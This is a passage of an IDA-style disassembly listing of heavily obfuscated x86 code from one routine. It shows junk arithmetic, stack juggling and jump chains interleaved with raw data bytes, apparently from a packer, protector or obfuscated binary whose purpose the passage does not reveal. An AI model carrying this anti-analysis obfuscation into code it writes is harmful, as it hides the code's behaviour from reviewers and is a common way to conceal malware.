xor eax, [esp+28h+var_28] pop esp add edi, 0D76584B9h and eax, edi pop edi or eax, eax jz loc_548EC3 push dword ptr [edi+1Ch] push edi mov edi, 718F171Bh sub [esp+28h+var_24], 26983EC1h sub [esp+28h+var_24], edi add [esp+28h+var_24], 26983EC1h mov edi, [esp+28h+var_28] add esp, 4 pop ecx push 563Bh mov [esp+24h+var_24], edi mov edi, 718F171Bh push edi mov edi, 45DF46D4h or edi, 75FA3BE2h xor edi, 51980250h add ecx, edi pop edi sub ecx, 637710EEh sub ecx, 77F23D1Ah jmp loc_549E08 ; --------------------------------------------------------------------------- dw 0CF88h dd 6E7C059h, 0FEF3B551h, 0E3C580CDh, 0E902ED80h, 0FFFFA13Eh ; --------------------------------------------------------------------------- loc_54E8EC: ; CODE XREF: sub_542C3C+FFC0j push ecx jmp loc_54BFED ; --------------------------------------------------------------------------- dw 0D831h dd 5B2434FFh, 0FFCEC5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E8FD: ; CODE XREF: sub_542C3C+71C7j pop ecx jmp loc_552441 ; --------------------------------------------------------------------------- loc_54E903: ; CODE XREF: sub_542C3C+A9D2j mov eax, 5BDF15EEh shl eax, 2 neg eax add eax, 6F7C57F8h jmp loc_54EE01 ; --------------------------------------------------------------------------- db 0BDh dd 72D529ADh, 815DEA01h, 0B8D5BFF2h, 5AD001C4h, 72F80D40h dd 0A5052F6Ah, 3561476Ch, 0B7D9D7C0h, 0E958C101h, 0FFFFD1D1h dd 240C8966h, 0FFAFF9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E949: ; CODE XREF: sub_542C3C+EADAj pop edi xchg edx, [esp+30h+var_30] pop esp push 17E9h mov [esp+30h+var_30], edx push 61F9h mov [esp+34h+var_34], ebp push 73CAh mov [esp+38h+var_38], esi mov esi, 1 mov ebp, esi jmp loc_54D7A3 ; --------------------------------------------------------------------------- dw 0EF81h dd 2FB73F26h, 818C781h, 0CF013D77h, 818EF81h, 0A1E93D77h dd 5100003Dh, 0F21289B9h, 3A29BE0Dh, 0CE293740h, 1D4DE9h dd 0E6895600h, 4C681h, 0C6830000h, 24348704h, 82C8E95Ch dd 0E5C0FFFFh, 74D6806h, 4890000h, 3077B024h, 0D6E958C5h dd 0B8FFFFBBh, 25441452h, 0FFD14FE9h, 0E6C15FFFh, 5EEE8105h dd 815CD35Dh, 269142C6h, 0E9F2017Bh, 0FFFFDB1Eh, 8904EC83h dd 6DE92404h, 83000006h, 0FF5504C4h, 0E9042474h, 0FFFFE9B8h ; --------------------------------------------------------------------------- loc_54EA00: ; CODE XREF: sub_542C3C+7B79j push eax mov eax, 4 jmp loc_546D19 ; --------------------------------------------------------------------------- db 53h dd 0FFCE40E9h, 0E9565BFFh, 0FFFFF420h ; --------------------------------------------------------------------------- loc_54EA18: ; CODE XREF: sub_542C3C+C1C7j mov eax, [esp+44h+var_44] jmp loc_548AF3 ; --------------------------------------------------------------------------- loc_54EA20: ; CODE XREF: sub_542C3C+BDF8j push edx mov edx, esp add edx, 4 jmp loc_54F728 ; --------------------------------------------------------------------------- loc_54EA2E: ; CODE XREF: sub_542C3C+A52Ej push [esp+44h+var_44] mov ecx, [esp+48h+var_48] jmp loc_54EA20 ; --------------------------------------------------------------------------- db 1, 0FDh, 5Fh dd 8B242C87h, 4312424h, 0A96BE924h, 5257FFFFh, 39DBBA66h dd 0D1BB6653h, 0D3F7667Ah, 0E4CB8166h, 0DBF76678h, 0D6C38166h dd 0DA31662Dh, 0D789665Bh, 0C781665Ah, 0EC83F88Bh, 3C896602h dd 0DB40E924h, 0F7E9FFFFh, 83FFFF81h, 575B04C4h, 24BFBE56h dd 0EE812973h, 0CBC70F55h, 315EF789h, 0DBE95FFBh, 68FFFF81h dd 75967B20h, 0F7D8F758h, 19E635D8h, 57561587h, 6B25C9BFh dd 0E9DFF719h, 0FFFFDE92h ; --------------------------------------------------------------------------- loc_54EABC: ; CODE XREF: sub_542C3C+40ECj mov ecx, [esp+30h+var_30] push ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_54F83E ; --------------------------------------------------------------------------- db 89h dd 67E9241Ch db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EADB: ; CODE XREF: sub_542C3C+101DEj push 2 mov ebp, [esp+38h+var_38] add esp, 4 add edx, ebp pop ebp jmp loc_54CB58 ; --------------------------------------------------------------------------- db 1, 0C3h, 58h dd 2C381h, 1C330000h, 241C3124h, 0FFD6B0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EB05: ; CODE XREF: sub_542C3C+E596j mov ebx, [esp+30h+var_30] jmp loc_5502EB ; --------------------------------------------------------------------------- db 31h, 0F0h, 5Eh dd 0B325BF57h, 575110B5h, 9D3389BFh, 0E9F98976h, 0FFFFDBDCh dd 0E95FFE01h, 0FFFFBAFEh, 0C2815A54h, 4, 8704C283h, 0E95C2414h dd 4212h, 35BF5752h, 0BA522133h, 52213351h, 78B5C281h dd 0FA29638Bh, 482BBD55h, 0C5814B54h, 733E4E96h, 0FFF999E9h dd 2C335FFFh, 242C3124h, 0E9242C33h, 2815h ; --------------------------------------------------------------------------- loc_54EB74: ; CODE XREF: sub_542C3C+7814j mov [esp+3Ch+var_3C], ebx push ebp mov ebp, 347B311Ch xor [esp+40h+var_3C], ebp pop ebp jmp loc_54FA47 ; --------------------------------------------------------------------------- db 29h dd 49BA2DD8h, 32E913B8h, 81FFFFF3h, 8F7F0BF5h, 5DEE2963h dd 895EF501h, 0F355E9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EBA6: ; CODE XREF: sub_542C3C+6B82j push eax mov eax, 4 mov edx, eax jmp loc_54C1CE ; --------------------------------------------------------------------------- a0ss7 db '0èé7+',0 align 2 dw 0C380h dd 88F0E990h, 92BAFFFFh, 0E96B4B31h, 0DAh, 437ABE56h, 0BF571838h dd 6FDD5171h, 19F7C781h, 814F1208h, 0F85299F7h, 5FFE21C4h dd 0FFFFC681h, 0D6F7FFFFh, 0F681D6F7h, 2E9925A5h, 2D42E9h dd 28F6400h, 0FF8075E9h, 87E2DFFh, 0F829356Fh, 0FF99A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EC11: ; CODE XREF: sub_542C3C+DDCFj pop ebx shr ebp, 8 xor ebp, 421685C7h jmp loc_54BE6D ; --------------------------------------------------------------------------- dd 8BEB295Bh, 31E9242Ch, 2DFFFF8Bh, 4F577A56h, 33E9525Ah dd 33FFFF96h, 0D6E92414h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC3F: ; CODE XREF: sub_542C3C+6C5Cj add edi, 4 add edi, 4 push edi push [esp+34h+var_30] pop edi pop [esp+34h+var_34] pop esp or edx, eax shl edx, 1 push 654Ch jmp loc_551BB2 ; --------------------------------------------------------------------------- db 21h dd 0E4B5E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC6A: ; CODE XREF: sub_542C3C+AF34j sub ebx, 79F2342Ah jmp loc_54E2FC ; --------------------------------------------------------------------------- db 0B5h, 1Fh, 80h dd 0E5281DEDh, 0FF836FE9h, 242C29FFh, 86C5815Dh, 8900E2CCh dd 242C8BE8h, 8104C483h, 0F27B19EEh, 81C6016Ch, 0F27B19C6h dd 13CFE96Ch, 0D6010000h, 95A4E95Ah, 0C801FFFFh, 9F63BC05h dd 0D8295915h, 0FF8E3EE9h, 59CB29FFh, 0C381D301h, 244C6715h dd 8324148Bh, 0C38304C4h, 241C3304h, 33241C31h, 248B241Ch dd 0E930FF24h, 0FFFF7F96h ; --------------------------------------------------------------------------- loc_54ECE4: ; CODE XREF: sub_542C3C+DA4Cj mov eax, [esp+28h+var_28] add esp, 4 sub esp, 4 jmp loc_54F230 ; --------------------------------------------------------------------------- loc_54ECF5: ; CODE XREF: sub_542C3C+AF9Ej add ebp, 4 push ebp push [esp+40h+var_3C] pop ebp pop [esp+40h+var_40] jmp loc_546FAE ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 8104C483h, 4C7h, 0BD555100h, 207A5C69h, 7A5C6BB9h, 0E9E93120h dd 0FFFFAE95h ; --------------------------------------------------------------------------- loc_54ED28: ; CODE XREF: sub_542C3C+7298j mov [esp+18h+var_18], ebp mov ebp, 4 add edi, ebp pop ebp xor edi, [esp+14h+var_14] jmp loc_54B87B ; --------------------------------------------------------------------------- loc_54ED3B: ; CODE XREF: sub_542C3C+E8F8j xor esi, edx pop edx jmp loc_549846 ; --------------------------------------------------------------------------- db 81h dd 881600EBh, 5BD8013Ch, 0D938592Dh, 51E95F16h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ED57: ; CODE XREF: sub_542C3C+7E0Cj push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+34h+var_34] jmp loc_54C846 ; --------------------------------------------------------------------------- dd offset dword_4B5248+0DA12h db 0F0h dd 6E94C04h, 51000005h, 0F52F46B9h, 6FC18173h, 0F76C9011h dd 0F621E9D1h, 405FFFFh, 83000000h, 48704E8h, 24895C24h dd 4685224h, 8B000000h, 0C4832414h, 24540104h, 1C8B5A04h dd 0E9545624h, 0FFFFAC3Fh ; --------------------------------------------------------------------------- loc_54EDB4: ; CODE XREF: sub_542C3C+FDACj sub ebx, 337937h add ebp, ebx pop ebx push 0C40h mov [esp+34h+var_34], edx mov edx, 4 sub ebp, 102C2ABAh add ebp, edx add ebp, 102C2ABAh mov edx, [esp+34h+var_34] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+38h+var_38] pop esp push ebp push [esp+38h+var_34] mov ebp, [esp+3Ch+var_3C] add esp, 4 pop [esp+38h+var_38] mov esp, [esp+34h+var_34] jmp loc_54A878 ; --------------------------------------------------------------------------- loc_54EE01: ; CODE XREF: sub_542C3C+BCD6j and ecx, eax jmp loc_54EA18 ; --------------------------------------------------------------------------- dd 4EC81h, 0C890000h, 1A6DE924h, 0E95C0000h, 2AFAh ; --------------------------------------------------------------------------- loc_54EE1C: ; CODE XREF: sub_542C3C+A7D4j mov edx, 5C127458h not edx push edx jmp loc_54B45D ; --------------------------------------------------------------------------- db 0C0h, 0E5h, 4 dd 0E97AF580h, 0FFFFD641h, 900022B8h, 780A351Fh, 0A00D1534h dd 50DE327h, 7F0C39AAh, 0BE8F0548h, 0C321BE32h, 0C9EB8158h dd 0E97EA22Dh, 0FFFFBB23h, 0E9243C89h, 0FFFFC4D3h ; --------------------------------------------------------------------------- loc_54EE64: ; CODE XREF: sub_542C3C+8246j mov [esp+50h+var_50], eax mov eax, 1Ch add eax, 228E1BD4h jmp loc_54C7FC ; --------------------------------------------------------------------------- dw 5ADh dd 36360FF6h, 639CBA52h, 0DAF777AAh, 4A07E2C1h, 92EA814Ah dd 1D33D08h, 24148BD0h, 2D04C483h, 2F016D1h, 0D105D801h dd 5502F016h, 91296CBDh, 44990557h, 0E8296C96h, 2B14E9h dd 0CA815A00h, 7E053F2Eh, 1AF5CA81h, 0EC8341EEh, 968CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EECA: ; CODE XREF: sub_542C3C+5297j xchg ebx, [esp+28h+var_28] jmp loc_547717 ; --------------------------------------------------------------------------- dw 0CEBDh dd 8155050Fh, 0DF605EC5h, 8BED8137h, 0E90CDE27h, 19BFh dd 6624248Bh, 1E9F9F7h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EEF3: ; CODE XREF: sub_542C3C+7DEEj push ebp mov ebp, ebx jmp loc_548DD2 ; --------------------------------------------------------------------------- db 0ACh dd 89E9D830h, 53FFFFC9h, 0FF9916E9h, 6CC381FFh, 43528D48h dd 8106E3C1h, 0C69593C3h, 8BD8296Dh, 0C481241Ch, 4, 0D3C38159h dd 0E9101B7Ah, 0FFFFA3C8h, 0BA241489h, 77B260BDh, 10CC381h dd 0EBE97277h, 54FFFF80h, 0FFC77EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EF49: ; CODE XREF: sub_542C3C+CB0Ej add esp, 4 push ebp push 0FCA50FFh push [esp+3Ch+var_3C] pop ebp add esp, 4 jmp loc_5506BA ; --------------------------------------------------------------------------- db 89h, 0E2h, 0E9h dd 3EFFh ; --------------------------------------------------------------------------- loc_54EF68: ; CODE XREF: sub_542C3C+DA80j push edx mov edx, 704C00AFh sub ebp, edx jmp loc_54B503 ; --------------------------------------------------------------------------- db 64h, 0FFh, 32h dd 0FF7CFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EF7D: ; CODE XREF: sub_542C3C+A5D6j add esp, 4 push edi jmp loc_5483AB ; --------------------------------------------------------------------------- loc_54EF89: ; CODE XREF: sub_542C3C+53CAj xor eax, [esp+24h+var_24] jmp loc_54E4A2 ; --------------------------------------------------------------------------- db 31h, 34h, 24h dd 0E9243433h, 0FFFFFF4Ch, 1E7668ACh, 1C890000h, 0E98BB724h dd 0FFFF9B24h, 28B6664h, 12CBE9h, 246C8100h, 22286A04h dd 815E5F52h, 4C6h, 8F1FE900h, 0ED80FFFFh, 80CDFE23h, 0ED80CDC5h dd 8BE8883Bh, 0C481240Ch, 4, 5158C200h, 0CA08E9B1h, 0FFDA4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EFED: ; CODE XREF: sub_542C3C+91ECj push [esp+0Ch+var_8] mov ecx, [esp+10h+var_10] add esp, 4 pop [esp+0Ch+var_C] pop esp shr eax, 0Bh xor ecx, eax push 6F59h mov [esp+8+var_8], ebx mov eax, [esp+8+var_8] push ebx mov ebx, esp push esi mov esi, 282A060Eh neg esi add esi, 0FFFFFFFFh jmp loc_548A82 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 296DE9h, 0C1015D00h, 2F9BA52h, 0D1012086h, 0B9C6E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F03A: ; CODE XREF: sub_542C3C+5852j and eax, ecx push [esp+14h+var_14] mov ecx, [esp+18h+var_18] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+1Ch+var_1C] pop esp add esp, 4 jmp loc_550FAC ; --------------------------------------------------------------------------- dd 24048B54h, 81E68956h, 4C6h, 0BF575300h, 76213AF4h, 213AF0BBh dd 5FFB3176h, 335BDE01h, 34312434h, 24343324h, 0FFA9A4E9h dd 2E2C1FFh, 6BC9CA81h, 0D1425BECh, 0DBBB53E2h, 50606F43h dd 0FFFD8FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F0A5: ; CODE XREF: sub_542C3C+DD37j xor [esp+14h+var_14], 41F746FBh mov eax, [esp+14h+var_14] add esp, 4 sub esp, 4 mov [esp+14h+var_14], esi mov esi, 330815ACh inc esi shr esi, 3 sub esp, 4 mov [esp+18h+var_18], esi not [esp+18h+var_18] mov esi, [esp+18h+var_18] jmp loc_5485E4 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 3BB8E9h, 7B98E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F0E2: ; CODE XREF: sub_542C3C+9641j mov ebp, [esp+14h+var_14] add esp, 4 pop edi jmp loc_54CBC7 ; --------------------------------------------------------------------------- dw 66C3h dd 83240C8Bh, 0CFE904ECh db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F0FB: ; CODE XREF: sub_542C3C+60E4j sub edx, 0F25546C0h jmp loc_549CDB ; --------------------------------------------------------------------------- dw 0C828h dd 240C8B66h, 2C481h, 0EC810000h, 4, 50240C89h, 8885B151h dd 4EE959CCh db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F127: ; CODE XREF: sub_542C3C+831Aj sub eax, 4D4C606Fh sub eax, 2EC75C1Ch push [esp+28h+var_28] pop ecx add esp, 4 push dword ptr [edi+eax*4] push edx jmp loc_55312F ; --------------------------------------------------------------------------- db 58h, 83h, 0EFh dd 243C8704h, 33B6E9h, 4C28100h, 83000000h, 0A6E904EAh dd 0F700003Dh, 0C4F181D9h, 0F76BB775h, 60C181D1h, 89190503h dd 4BBA59C8h, 294E059Ch, 0EC8158C2h, 4, 56241489h, 15BEE9h dd 2EAC100h, 0C5F28142h, 0E9060815h, 3A23h, 8045B450h dd 0F480B7ECh, 58E328F3h, 0FFDF68E9h, 0C895CFFh, 2B036824h dd 4890000h, 0C7BA5224h, 890BCF2Ah, 44295AD0h, 8F580424h dd 0C7008100h, 0E90BCF2Ah, 0FFFF7AAEh ; --------------------------------------------------------------------------- loc_54F1CC: ; CODE XREF: sub_542C3C+7324j shl edi, 1 neg edi jmp loc_54E5E1 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 11E8E9h, 0AED8100h, 89AC6467h, 3BE95DE8h, 81FFFFCFh dd 4C4h, 4D02800h, 665A66A6h, 4F786851h, 4890000h, 75B35324h dd 0FFE437E9h, 4C481FFh, 83000000h, 148904ECh, 4EC8124h dd 89000000h, 85BF243Ch, 8960F057h, 0B108E9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F22A: ; CODE XREF: sub_542C3C+ECE5j pop edi jmp loc_54D4F7 ; --------------------------------------------------------------------------- loc_54F230: ; CODE XREF: sub_542C3C+C0B4j mov [esp+28h+var_28], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+28h+var_28] jmp loc_5488A8 ; --------------------------------------------------------------------------- db 29h, 0C5h, 58h dd 5212ED81h, 0E6E914DDh, 0BE000017h, 51FE1EE0h, 25BF681h dd 0E68150F8h, 345C570Eh, 0E952D6F7h, 0FFFFF952h, 68555251h dd 7FEE2E44h, 0FFBA5FE9h, 0D3B551FFh, 0E959E800h, 0FFFFE83Ch dd 46E768h, 24348900h, 0C3DFE954h, 1489FFFFh, 0E99C5024h dd 0FFFFC491h, 5D1C6F09h, 0FF79D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F2A9: ; CODE XREF: sub_542C3C+50C7j pop esp push esi mov esi, 325F743Fh neg esi or esi, 16085A65h sub esi, 1 shl esi, 8 add esi, 57241C04h add ebx, esi pop esi push 6C02h mov [esp+28h+var_28], esi jmp loc_54B240 ; --------------------------------------------------------------------------- db 25h dd 24D31FCBh, 6ABD68h, 24148900h, 0DD77C768h, 2434FF1Dh dd 0FF8DA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F2F1: ; CODE XREF: sub_542C3C+8065j add esi, ebp add esi, 297E5076h jmp loc_54C6F5 ; --------------------------------------------------------------------------- dw 0EFC1h dd 1C78102h, 813BA774h, 32161C2h, 0F223E956h, 0D9F7FFFFh dd 373AF181h, 0CF890728h, 0FF834BE9h, 0BA5258FFh, 0 dd 203DA01h, 241C8B5Ah, 0FFE113E9h, 2C1468FFh, 2C890000h dd 0BB535224h, 1AD156AFh, 0BA52D3F7h, 1B824E79h, 515BC281h dd 0D3295700h, 0FFA97CE9h, 1C6F09FFh, 7918E95Dh, 489FFFFh dd 0E9E1B424h, 0FFFFDC12h ; --------------------------------------------------------------------------- loc_54F36C: ; CODE XREF: sub_542C3C+CFFDj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+38h+var_38] pop esp jmp loc_551B58 ; --------------------------------------------------------------------------- loc_54F383: ; CODE XREF: sub_542C3C+9047j pop ecx and esi, 4F866E4Ch jmp loc_55152E ; --------------------------------------------------------------------------- loc_54F38F: ; CODE XREF: sub_542C3C+91C7j push ebx mov ebx, 62403C2Eh and ebp, ebx jmp loc_54870A ; --------------------------------------------------------------------------- dd 145B68h, 24048900h, 1B4CE9h, 0FE6800h, 1C8B0000h, 4EC8124h dd 0E9000000h, 0FFFFB327h, 355AD089h, 357C7707h, 6969BF57h dd 0EDE959ECh db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F3CF: ; CODE XREF: sub_542C3C+DC66j mov edx, 7676FC1h xchg eax, edx not eax xchg eax, edx xor edx, 8123F344h jmp loc_550D37 ; --------------------------------------------------------------------------- loc_54F3E3: ; CODE XREF: sub_542C3C+A857j sub edi, 4 jmp loc_54D72E ; --------------------------------------------------------------------------- dw 558h dd 4, 8904EC83h, 2BB241Ch, 0E9000000h, 0Eh, 582434FFh dd 2C04C483h, 37EFE94Fh, 0D8010000h, 55241C8Bh, 0FFD136E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F41D: ; CODE XREF: sub_542C3C+5CD7j mov [esp+0Ch+var_C], ebp mov ebp, 4 sub ecx, ebp pop ebp xchg ecx, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+8+var_8], ecx jmp loc_54F8D0 ; --------------------------------------------------------------------------- aSp db '\ÃéP(',0 dd 0E9DDF600h, 0FFFFF9E5h, 7321EB81h, 0C3013643h, 7321C381h dd 0EB813643h, 1F322E9Bh, 0FFD35AE9h, 35D8F7FFh, 64FE53DFh dd 0FFBB50E9h, 7242B8FFh, 0E8C10094h, 0E9E0D108h, 9Ch dd 19EBE981h, 64E951F2h, 8BFFFFA7h, 1A682404h, 0E9000040h dd 0FFFF9B75h, 56242C8Bh, 0C6815E54h, 4, 4C681h, 34870000h dd 0FF8CE924h, 148BFFFFh, 0E1F1E924h, 0C89FFFFh, 9F6FE924h dd 9368FFFFh, 8900005Ah, 31BD242Ch, 0E93C6A11h, 0FFFFA410h dd 4EC81h, 3CE90000h, 53000037h, 66589DBBh, 4EBC10Fh, 2BCCE9h db 0 ; --------------------------------------------------------------------------- loc_54F4E5: ; CODE XREF: sub_542C3C+458Aj add ebx, 2 xchg ebx, [esp+2Ch+var_2C] pop esp push eax jmp loc_550DFD ; --------------------------------------------------------------------------- dw 0ED80h dd 1AF580EAh, 3062B652h, 13E95AF5h, 57FFFF91h, 0E9515052h dd 0FFFFF1B1h ; --------------------------------------------------------------------------- loc_54F50C: ; CODE XREF: sub_542C3C+CFC4j and esi, ebx pop ebx jmp loc_549BA8 ; --------------------------------------------------------------------------- dd 507E0C1h, 34BB47FCh, 0FFA95935h, 58C62968h, 0C681CE29h dd 5DB010A5h, 291BE9h db 0 ; --------------------------------------------------------------------------- loc_54F531: ; CODE XREF: sub_542C3C+7D3Ej xchg eax, esi not esi xchg eax, esi push esi push eax pop esi pop eax xchg esi, [esp+2Ch+var_2C] push [esp+2Ch+var_2C] jmp loc_549BEF ; --------------------------------------------------------------------------- loc_54F544: ; CODE XREF: sub_542C3C+DB02j add esp, 4 push 39F6h mov [esp+30h+var_30], edi mov edi, 4 add ebp, edi jmp loc_551DD6 ; --------------------------------------------------------------------------- aPR db 'P°r±µ',0 aXair db 'ÁX€ë',0 dw 0E9CBh dd 0FFFFF64Ah ; --------------------------------------------------------------------------- loc_54F570: ; CODE XREF: sub_542C3C+5E2Dj add eax, 4 sub eax, 4 xchg eax, [esp+24h+var_24] jmp loc_547BBE ; --------------------------------------------------------------------------- dw 6856h dd 52E548A5h, 0D6F7465Eh, 0C66FC681h, 0F1899EBCh, 0E9C8015Eh dd 3246h ; --------------------------------------------------------------------------- loc_54F59C: ; CODE XREF: sub_542C3C+A910j pop [esp+40h+var_40] add [esp+3Ch+var_3C], 4 mov eax, [esp+3Ch+var_3C] add esp, 4 push ebp mov ebp, 4 add eax, ebp pop ebp add eax, 4 jmp loc_54E861 ; --------------------------------------------------------------------------- loc_54F5BA: ; CODE XREF: sub_542C3C+A25Cj jmp loc_546C7A ; --------------------------------------------------------------------------- db 66h dd 70E932FFh, 28FFFFBBh, 42B551C3h, 0E9A0B450h, 0FFFFA991h ; --------------------------------------------------------------------------- loc_54F5D4: ; CODE XREF: sub_542C3C+DBC4j mov bh, byte ptr [esp+2Ch+var_2C] push ebx jmp loc_54DD4E ; --------------------------------------------------------------------------- db 47h, 81h, 0F7h dd 7A6DC660h, 3806882Dh, 6C68570Fh, 89000002h, 0BFBB241Ch dd 0C1073710h, 0DBF707EBh, 0ADE9D3F7h, 0FFFFFFB4h, 835F2434h dd 0C78104C4h, 4, 4B951h, 0CF010000h, 81240C8Bh, 4C4h dd 243C8700h, 0BD5EE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F62A: ; CODE XREF: sub_542C3C+D873j sub ecx, 89E09D07h add ebx, ecx mov ecx, [esp+30h+var_30] add esp, 4 push eax mov eax, 0 sub eax, ebx push ebx push eax pop ebx pop eax jmp loc_551DCE ; --------------------------------------------------------------------------- db 68h, 2Eh, 3Fh dd 34890000h, 679EBE24h, 95682452h, 0E9000031h, 0FFFFA629h dd 5396B551h, 0FF8339E9h, 9BB850FFh, 316F603Bh, 0C58158C5h dd 0E4849ECh, 0E95DEB29h, 3B2Bh, 0FF75F5E9h, 2C483FFh dd 80E7C480h, 0E288D6F4h, 0FFC1E0E9h, 66ED81FFh, 0E919080Ah dd 1945h, 0C331665Eh, 68C0B70Fh, 0C9Ch, 0E9241C89h, 0FFFFB9C9h ; --------------------------------------------------------------------------- loc_54F6B4: ; CODE XREF: sub_542C3C+DB16j push eax mov eax, 4 jmp loc_548C05 ; --------------------------------------------------------------------------- db 59h dd 0E902E2C0h, 0B48h, 6760EB81h, 0DD01FF14h, 0DDEF815Bh dd 0E949290Bh, 0FFFFA9FBh, 5AD6015Bh, 434E9h, 815E5400h dd 4C6h, 4C68300h, 5C243487h, 67E8B850h, 0B1E97741h, 5D000008h dd 0B6E9D9F7h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F707: ; CODE XREF: sub_542C3C+A54Dj pop ecx add esp, 4 pop [esp+40h+var_40] pop esp jmp loc_55280C ; --------------------------------------------------------------------------- db 81h dd 82684F6h, 73C38100h, 0E928A820h, 0FFFFE83Eh ; --------------------------------------------------------------------------- loc_54F728: ; CODE XREF: sub_542C3C+BDEDj add edx, 4 push edx push [esp+4Ch+var_48] mov edx, [esp+50h+var_50] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+54h+var_54] pop esp pop [esp+50h+var_50] pop esp jmp loc_54EF49 ; --------------------------------------------------------------------------- db 0BBh dd 1A477FF3h, 0EEE9E3D1h, 0E9FFFFC3h, 0FFFF751Ah, 3DFBBA52h dd 0EB8127FEh, 5427133Ah, 0C381D329h, 5427133Ah, 0BA525Ah dd 1000000h, 0B850DAh, 2D000000h, 69D979DEh, 0DE05D001h dd 8B69D979h, 5B5A5808h, 8904EC83h, 0EC81243Ch, 4, 24048F54h dd 4240483h, 4EC815Fh, 89000000h, 15B9240Ch, 811B713Fh dd 0F008FDC9h, 7C1813Bh, 1C40EC0h, 0B85059CFh, 4B742F62h dd 5C2F7025h, 2354870h, 0E96D3019h, 0FFFF7B42h, 842CF8BDh dd 63C6BF5Eh, 0EF29A58Fh, 0F7814F5Dh, 37EC7779h, 0F4C0C781h dd 0F9299453h, 83243C8Bh, 0B85004C4h, 0 aIXbsiT2rps1 db ')ȉÁXé¨;T2RPé×1',0 align 2 dw 1FBEh dd 8106FB3Eh, 0E831DCC6h, 0F9F68102h, 0F77AE401h, 8463E9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F82E: ; CODE XREF: sub_542C3C+483Fj pop edi jmp loc_54B76F ; --------------------------------------------------------------------------- dd 4BDh, 0CC6E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F83E: ; CODE XREF: sub_542C3C+BE92j push ebx push [esp+38h+var_34] pop ebx pop [esp+38h+var_38] jmp loc_54BCCA ; --------------------------------------------------------------------------- aM0Sl db '¬0Øél/',0 align 4 dd 240CD35Ch, 741CE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F85E: ; CODE XREF: sub_542C3C+8866j push 59115B9Eh pop ebp or ebp, 4D512529h neg ebp sub ebp, 0A2AE803Dh mov eax, ebp pop ebp add ebp, 467A0208h add ebp, eax sub ebp, 467A0208h pop eax xor ebp, [esp+2Ch+var_2C] xor [esp+2Ch+var_2C], ebp jmp loc_5473CA ; --------------------------------------------------------------------------- loc_54F88F: ; CODE XREF: sub_542C3C+4789j push eax push [esp+28h+var_24] pop eax pop [esp+28h+var_28] mov esp, [esp+24h+var_24] push 43A3h mov [esp+28h+var_28], ecx jmp loc_551DB3 ; --------------------------------------------------------------------------- dd 9FEFE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8AE: ; CODE XREF: sub_542C3C+FBD5j mov [esp+28h+var_28], esi push 515F277Dh mov esi, [esp+2Ch+var_2C] push eax push esp pop eax push ecx push ebp mov ebp, 7E222B16h jmp loc_551109 ; --------------------------------------------------------------------------- dd 0E9D0C980h, 0FFFFCA06h ; --------------------------------------------------------------------------- loc_54F8D0: ; CODE XREF: sub_542C3C+C7F5j jmp loc_546C7A ; --------------------------------------------------------------------------- loc_54F8D5: ; CODE XREF: sub_542C3C+53ADj mov ecx, 4 jmp loc_5520E5 ; --------------------------------------------------------------------------- db 5Ch dd 0E9243489h, 260Eh, 5304C483h, 0FFBA22E9h, 8F66FFh, 0FFB839E9h dd 0C875FFFh, 0AE95C24h, 8100000Dh, 0FF4DB7F7h, 5FFD8961h dd 0FFF282E9h, 2434FFFFh, 8124048Bh, 4C4h, 4EC8100h, 0E9000000h dd 0FFFFE3EFh, 8704E883h, 895C2404h, 4832424h, 148B0424h dd 0B191E924h, 0D031FFFFh, 5A2434FFh, 4C481h, 87E90000h dd 1FFFF88h, 242C8BEEh, 0FFAB4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F959: ; CODE XREF: sub_542C3C+A611j mov edx, [esp+8+var_8] add esp, 4 jmp loc_54D337 ; --------------------------------------------------------------------------- loc_54F967: ; CODE XREF: sub_542C3C+F401j add esp, 4 or edx, eax shl edx, 1 push ebx sub esp, 4 mov [esp+8+var_8], edi mov edi, 7363323h sub edi, 209E410Ah and edi, 3E6C06EEh sub edi, 4D405A80h or edi, 371E30E0h jmp loc_548C7C ; --------------------------------------------------------------------------- loc_54F997: ; 